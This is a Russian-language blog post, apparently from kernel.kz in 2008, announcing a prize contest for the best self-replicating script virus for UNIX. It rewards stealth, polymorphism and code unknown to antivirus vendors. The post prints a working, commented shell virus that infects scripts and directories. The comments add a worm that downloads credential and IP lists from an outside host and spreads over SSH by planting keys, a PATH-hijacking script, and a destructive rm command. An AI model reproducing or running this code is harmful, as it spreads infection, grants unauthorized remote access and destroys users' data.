Первый казахстанский блог о UNIX-подобных операционных системах Kernel.kz объявляет конкурс среди своих читателей на написание лучшего в своем роде скриптового компьютерного вируса для операционных систем семейства UNIX. Победитель получит денежный приз!
Условия конкурса:
1.) Для того чтобы принять участие в конкурсе необходимо выполнить ряд условий:
а) Направить нам заявку, в которой требуется указать следующие данные: ваше имя (либо псевдоним), адрес вашего блога в интернете, при отсутствии блога можно указать адрес форума, где вы проявляете наибольшую активность в сети, а также место постоянного проживания (страну, город). Заявки принимаются до 7 сентября 2008 г. включительно;
б) Разместить на вашем блоге или форуме рекламный баннер конкурса со ссылкой на этот пост. Код баннера приводится ниже, затем прислать ссылку нам;
<a href="http://kernel.kz/archives/79" target="_blank"> <img src="http://kernel.kz/banners/vcontest.png" alt="Конкурс на лучший скриптовый вирус для UNIX" border="0" height="80" width="505" /></a>
в) Дождаться от нас письма с подтверждением вашего участия в конкурсе, и начать писать свой вирус :-)
об изменениях в условиях читайте здесь.
2.) Для участия в конкурсе допускаются ТОЛЬКО вирусы написанные на следующих языках сценариев:
а) *sh (ash, bash, csh, и. т.д.)
б) Perl
в) Python
3.) Основным свойством компьютерного вируса является его способность к репликации, именно это отличает компьютерный вирус от всего прочего, поэтому на конкурс не принимаются различные троянские программы и тому подобные программные продукты, не обладающие способностью к саморазмножению.
4.) Наличие прямых деструктивных функций в вирусах категорически НЕ приветствуется.
5.) Черви (т.е. вирусы не внедряющие свой код непосредственно в «тело» жертвы) являются подмножеством множества «компьютерные вирусы», ДОПУСКАЮТСЯ к участию в конкурсе и рассматриваются как полноценные вирусы.
6.) Прием вирусов от участников конкурса осуществляется до 1 октября 2008 г. включительно, после чего компетентное жюри руководствуясь некоторыми принципами приведенными ниже, определит победителя.
7.) На выбор жюри может положительно повлиять наличие у вируса следующих особенностей:
а) Малый размер тела вируса;
б) Способность эффективно скрывать себя (различные стелс-технологии);
в) Способность мутировать (полиморфизм);
г) Кроссплатформенность;
8.) Призовой фонд формируется из добровольных пожертвований всех желающих. Вы можете пожертвовать немного денег используя эту WM-копилку:
9.) Исходный код самых интересных работ, как и работы победителя будет опубликован на страницах этого блога, а также на специальном сайте конкурса.
10.) Участник конкурса может прислать неограниченное количество вирусов для участия в конкурсе.
12.) АБСОЛЮТНО НЕДОПУСТИМО наличие сигнатур присланных на конкурс вирусов в базах данных производителей антивирусного программного обеспечения, участник приславший код, присутствующий в антивирусных базах данных немедленно дисквалифицируется.
13.) Организаторы конкурса гарантируют что работы участников конкурса НЕ БУДУТ переданы третьим лицам, без согласия авторов.
Цель конкурса — привлечь внимание общественности к проблеме компьютерных вирусов, а также лишний раз доказать или наоборот — опровергнуть утверждение о неуязвимости UNIX-подобных ОС для вирусных атак.
Организаторы конкурса будут благодарны за распространение любой информации о конкурсе.
В качестве примера шелл-вируса привожу код одного моего знакомого, написанный, кажется году этак в 1999. Вирус называется UNIX/Tvar. Исходник подробно откомментирован и может послужить хорошой стартовой площадкой для новичков:
#!/bin/sh #Путь до интерпретатора
if [ "$1" = ok ] ; then #Если мы запущены в фоновом поцессе
for i in * #Перебираем все файлы
do
if [ -d $i ] ; then #Если нам попалась директория
cp $0 $i #Копируем себя в эту директорию
cd $i #Переходим в эту директорию
$0 ok & #Запускаем себя фоновым процессом
cd .. #Возвращаемся обратно
elif [ -n "`head -n 1 $i | grep -s !/bin/`" ] && [ -z "`grep -s TVAR $i`" ] ; then
#Если первая строка файла содержит "!/bin/" и в файле нет строки "TVAR"
echo >>$i ; tail -n 17 $0 >>$i #Дописываем своё тело (18 строк) в конец жертвы
fi
done
else #Если мы не запущены фоновым процессом
$0 ok & #Запускаем свою копию фоновым процессом
fi
# TVAR #Метка
Архив с вирусом можно скачать здесь.
Все вопросы относительно этого конкурса можете задавать в комментариях к этой записи. Заявки на участие в конкурсе, а также свои работы присылайте на viruscontest@gmail.com.
Ждем ваших заявок, работ и пожертвований.
С уважением,
авторский коллектив первого казахстанского блога о UNIX-подобных ОС
Комментариев: 43
deksa
Август 20th, 2008 @ 00:27
1У нас тут менталитет другой. Кто будет спонсировать разработку вируса?
Революционный Матрос Железняк
Август 20th, 2008 @ 00:32
22 deksa: Если к концу не наберется средств, я лично проспонсирую, из своего кармана, много не обещаю, но все же
deksa
Август 20th, 2008 @ 00:39
3После конкурса, я со своей тачки не зайду на этот сайт! :)))))))))))))))))))))
drone
Август 20th, 2008 @ 01:38
4Классная идея ребята! Жаль поучастсовать не смогу, уровень еще не позволяет. Кстати подкинул деньжат в призовой фонд
Искандер
Август 20th, 2008 @ 14:20
5if [ “$1″ = ok ] ; then #Если мы запущены в фоновом поцессе
Потрясающе. У меня нет слов. Зачем эта проверка? Чтобы если юзер запустит код без параметров он не отработал? Видимо так. А при чем тут запуск в фоне?
zlopi
Август 20th, 2008 @ 14:49
6читаем внимательно
$0 ok & #Запускаем себя фоновым процессом
klim
Август 20th, 2008 @ 15:27
7Видимо путнее ничего ненашлось!
Искандер
Август 20th, 2008 @ 15:36
8zlopi - это понятно.Проверка делается чтобы “вирус” заработал тоьлко если его запустят с параметром ok. Кто его запустит - отдельный вопрос, который тоже интересно было бы рассмотреть. Кстати, в конкурсе запуск вируса будет принудительным, как я понял?
Просто если это - стартовая площадка для новичков, то комментраий вводит в заблуждение. Можно подумать, что для процессов с фоновом режиме $1 всегда будет ‘ok’
Человек
Август 20th, 2008 @ 15:53
9вы бы хоть номер Яндекс.денег выложили
Одесский НеБомж
Август 20th, 2008 @ 16:58
10Считайте что я победил, но мне лениво заполнять анкету
Пусть файл вируса называется worm.sh
#!/bin/sh
cd
cd .ssh
ssh-keygen -t rsa -f key
wget http://somehost/logins.txt
wget http://somehost/passwords.txt
wget http://somehost/ips.txt
for i in `cat logins.txt`; do
for j in `cat passwords;txt`; do
for k in `cat ips.txt`; do
ncftpput DD -m -u $i -p $j $k key.pub .ssh/authorized_keys
ncftpput DD -m -u $i -p $j $k worm.sh .ssh/worm.sh
ssh $k /bin/sh .ssh/worm.sh
done
done
done
ZigmunD
Август 20th, 2008 @ 17:36
11Железняк, это ты на лоре новость кинул?
А по теме: все варианты будут похожи друг на друга и ни один не сможет систему угробить пока под рутом не запустят.
wado
Август 20th, 2008 @ 21:55
12Я встречал таких дб… , постоянно под рутом сидят.
Изменения в условиях конкурса by kernel.kz 2.0
Август 20th, 2008 @ 22:07
13[…] масс мы решили внести некоторые изменения в условия конкурса. Не требуется подавать отдельно заявку на конкурс и […]
Wi-FU
Август 20th, 2008 @ 23:12
14Буду участвовать только если си будет + конкретная ОС.
б) Способность эффективно скрывать себя (различные стелс-технологии); ( учитывая те языки то что ты привел - не получится )
в) Способность мутировать (полиморфизм); ( в скриптовых языках полиморфизм? хм..покажи мне код, и я поверю что такое есть )
Весёлый Молочник
Август 21st, 2008 @ 08:06
15Зачем такое ограничение в языках?
На скриптовых языках ничего серьезного не напишешь.
Революционный Матрос Железняк
Август 21st, 2008 @ 11:58
162 Весёлый Молочник: Конкурс задумывался не как попытка написать что-то действительно серьезное, скорее это конкурс концепт-вирусов, где победит, наверняка самый изъебистый вариант, и не важно что он будет нежизнеспособен в дикой среде. Впрочем бинарные вставки в скрипт никоим образом не осуждаются.
2 Wi-FU: Нет, не будет вам ни си, ни ассемблера, ни конкретной ОС. Условия конкурса относительно средств четко определены и изменены не будут. Полиморфизм возможен в чем угодно, хотя бы теоретически. Задачи конкурса как раз не в том, чтобы показать вам код, чтобы вы поверили что такое есть =))) а в том, чтобы вы создали такое, чего еще нигде небыло.
Wi-FU
Август 21st, 2008 @ 16:37
172 Революционный Матрос Железняк
Ещё раз говорю, покажи мне “полиморфизм” в исполнении скриптовых языков.
Полиморфизм на Perl by kernel.kz 2.0
Август 22nd, 2008 @ 04:08
18[…] было так. Один молодой человек меня достал, покажи мол ему полиморфизм на скриптовых […]
Wi-FU
Август 22nd, 2008 @ 04:39
19ну вот http://kernel.kz/archives/82#comment-10879
ты http://ru.wikipedia.org/wiki/Полиморфизм_компьютерных_вирусов
путаешь с http://ru.wikipedia.org/wiki/Самомодифицирующийся_код
andrr
Август 22nd, 2008 @ 12:34
20крнкурс “Завали Винюзера” был бы интиреснее ))) хоть и боян
Весёлый Молочник
Август 22nd, 2008 @ 16:39
21Можно сделать, что бы скрипт загружал из сети бинарный код вируса написанный на C и использовать руткит технологии?
А то по сути можно просто написать
sudo rm -f -r /home/user_name/
Вот вредное действие, +
mkdir 1,2,3,4
Вот размножение. =)
Революционный Матрос Железняк
Август 22nd, 2008 @ 20:09
222 Веселый Молочник: Да, лично вам, мы разрешаем ;-) Пока желающих совсем немного участвовать. Напишите что-нибудь и присылайте нам, мы оценим.
Революционный Матрос Железняк
Август 22nd, 2008 @ 20:10
232 ZigmunD: да, каюсь, это я кинул новость на лоре…
Весёлый Молочник
Август 23rd, 2008 @ 12:12
24Что то копилка не богатая.
Вирус почти готов.
Принцип работы добавление смешной надписи “Пейте дети молоко” к 1 файлу в каталоге. Во время запуска вирус внедряет свое тело к началу файла.
Для сокрытия своих действий во время запуска перемещает свое тело во временный файл, после закрытия полезной программы\текста возвращает себя обратно и заражает ещё 1 файл.
Вирус написан на C.
Сценарная часть ещё не готова.
Революционный Матрос Железняк
Август 23rd, 2008 @ 16:49
252 Весёлый Молочник: Хорошо, с удовольствием посмотрим. Ну, до завершения конкурса еще больше месяца, общими силами соберем немного деньжат ;-)
davinchi
Август 23rd, 2008 @ 21:51
26Просто, тупо, не прилизано. При необходимости можно копировать по-умолчанию также некоторые частые бинарники: ls, ps, ssh, stat итд.
Сразу после этого можно подгружать под нужную архитектуру .so файл и делать для него LD_PRELOAD (не знаю, как это сработает в некросистемах по типу BSD). После чего иметь доступ к open.
#!/bin/sh
DIR=$HOME/bin
BASHRC=$HOME/.bashrc
if [ “x`id -u`” == “x0″ ]; then DIR=/usr/local/bin; BASHRC=/etc/bashrc; fi
if [ ! -d $DIR ]; then mkdir $DIR; fi
if [ “x`grep \$HOME/bin $BASHRC `” == “x” ]; then echo “export PATH=\$HOME/bin:\$PATH” >> $BASHRC; fi
for b in `/bin/ls /proc/*/exe -g 2>/dev/null | /bin/cut -d’>’ -f2 -s | /usr/bin/tr -d ‘ ‘`; do
f=`basename $b`
if [ -f $DIR/$f ]; then continue; fi
cat $0 > $DIR/$f; echo -e “\nexec $b \$@” >> $DIR/$f; chmod a+x $DIR/$f;
done
Революционный Матрос Железняк
Август 23rd, 2008 @ 23:03
272 davinchi: Спасибо, посмотрим, но огромная просьба ко всем участникам, присылайте пожалуйста по почте, а не выкладывайте их здесь в комментах. Заранее благодарим.
Весёлый Молочник
Август 24th, 2008 @ 12:11
28to davinchi
Это не будет работать на дистрибутивах с apparmor и selinux.
Ну и запускать рут должен.
Ремонт
Август 24th, 2008 @ 17:23
29ну и нафига поощрять такое? И так от этих вирусов уже не знаешь какой антивирус ставить, так еще и деньги им в качестве приза! Совсем обнаглели! Давайте еще за лучшее преступление медали давать!
Corwin
Август 29th, 2008 @ 20:36
30Это ты на своей винде не знаешь куда деваться, а у нас вирусов нет =)))
Весёлый Молочник
Сентябрь 4th, 2008 @ 18:22
31Как там с конкурсом?
Революционный Матрос Железняк
Сентябрь 4th, 2008 @ 19:57
322Молочник: да что-то слабенько как-то. Видимо народ воспринял это как шутку. Вы свое творение совершенствовать будете?
Весёлый Молочник
Сентябрь 7th, 2008 @ 09:12
33Если нужно, то конечно.
Внедрение к примеру только в исполняемые файлы и маскировка.
Denjs
Сентябрь 12th, 2008 @ 04:58
34эта.. пацаны - вычего-та с 8-м пунктом слегка подкачали….
вы предлагаете скидываться в “WM-копилку”?
да?! а когда появился WM-клиент для Linux или web-морда для сабжа? чтобы любой тру-линуксоид мог дать вам денег?
неа… пока Яндекс-мани не заведете… (который через веб-морду на отлично рулится из Linux) - не будет вам много денег от тру-линуксоидов…
Думаю вам линуксодиды только за идею-бы денег понакидали, но у вас WM, а WM - не для Linux. Потому, “звините”.
Идея - тру, но со спонсированием и реализацией - немного, подкачали.
В результате, попахивает “вендузятнегами, которые хотят найти ‘святой грааль’ в чужом огороде…”
“не ‘тру’ как-та”… честна…
добавляйте Yandex-мани ;)
Denjs
Сентябрь 12th, 2008 @ 05:05
35Возможно я конечно ошибаюсь, но думаю в любом случае - добавить пару-тройку иных систем перевода денег окромя WM - стоит.
Революционный Матрос Железняк
Сентябрь 12th, 2008 @ 09:50
362 Denjs: если не ошибаюсь, для того чтобы иметь аккаунт яндекс-денег нужно обязательно быть гражданином России? Дело в том, что мы тут все граждане соседнего с Россией государства. Такие дела.
resurtm
Сентябрь 12th, 2008 @ 13:26
37Denjs, не надо распространять заведомо неверную и ложную информацию.
WebMoney Keeper Light у меня отлично пашет в “Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008090218 Gentoo Firefox/3.0.1″.
За год активного использования не было никаких нареканий применительно к веб-интерфейсу сервиса. =)
Весёлый Молочник
Сентябрь 13th, 2008 @ 04:48
38Не знаю как у вас я заколебался этот кипер лайт активировать. =)
Так и забросил свой кошелек который под виндой заводил, что бы разрешить заходить через веб нужен вм классик, а чтобы он работал нужен вмид ключ, а чтобы его восстановить нужен паспорт, а скан паспорта должен быть очень качественным, но вот беда у них почтовый сервер не принимает большие файлы, и они не смотрят ссылки на другие ресурсы где можно разместить скан паспорта.
Вообщем забил и завел яндекс деньги. =)
Вроде как любой может завести.
Прием работ на конкурс продлен до 15 октября! by kernel.kz 2.0
Сентябрь 15th, 2008 @ 19:13
39[…] напоминаю что продолжается прием работ на конкурс на лучший вирус для *nix, а также срок приема работ продлевается до 15 октября, в […]
Завершен конкурс на лучший вирус для *nix by kernel.kz 2.0
Октябрь 15th, 2008 @ 21:48
40[…] Вот и подошел к концу наш первый конкурс на лучший вирус для операционных систем семей
vitok
Октябрь 29th, 2008 @ 22:16
41[b]Denjs[/b] ты не прав, тру линуксоид на такую хуйню денег никогда не осыпит! потому-что он за рание знает что вы тут хуйней страдаете!
ну написали вы вредоносные команды, а каким чудом они сами запустятся? на крайняк можно пдомонтировать хом в noexec, и все, про вирусы можно забыть, в корень юзверю нет прав на запись, а хом noexec и вирус даже если записался на хом раздел то не может выполниться. в лине вирусы без пользователя не могут работать поэтому вы ребята хуйней страдаете! лучшеб что-то полезное делали, к примеру помогали разработки опенгейл, чтоб победить винду.
resurtm
Октябрь 29th, 2008 @ 22:41
42>лучшеб что-то полезное делали, к примеру помогали разработки опенгейл, чтоб победить винду.
Вам “опенгейл”, предлагаю начать с изучения великого и могучего… ;-)
vitok
Октябрь 31st, 2008 @ 00:16
43>Вам “опенгейл”, предлагаю начать с изучения великого и могучего… ;-)
причем тут “Мне”? я хуйней не страдаю! а читая такие ветки, где долбоебы вирусы пишут никак не сдержусь без бранных слов и АпИчЯтАк!
RSS лента комментариев к этой записи · Ссылка для трэкбэка
Добавить комментарий
Рубрики
Архив
Друзья
живой журнал
счетчики
диски почтой (доставка по казахстану и СНГ)
ПЕРВЫЙ КАЗАХСТАНСКИЙ БЛОГ О UNIX-ПОДОБНЫХ ОПЕРАЦИОННЫХ СИСТЕМАХ

обзоры UNIX-систем | полезные советы | литература по UNIX | эмуляторы X86 | Linux в Казахстане | Linux в Алматы
ALUG | Свободное ПО в Казахстане | Open Source в Казахстане | Разработка под UNIX | Linux Game Development
Серверные решения | BSD-системы | Графика в UNIX | UNIX Desktop | Портирование программ | Исторические материалы
ВСЕ О UNIX-LIKE ОПЕРАЦИОННЫХ СИСТЕМАХ
kernel.kz © 2007-2008
блог работает на WordPress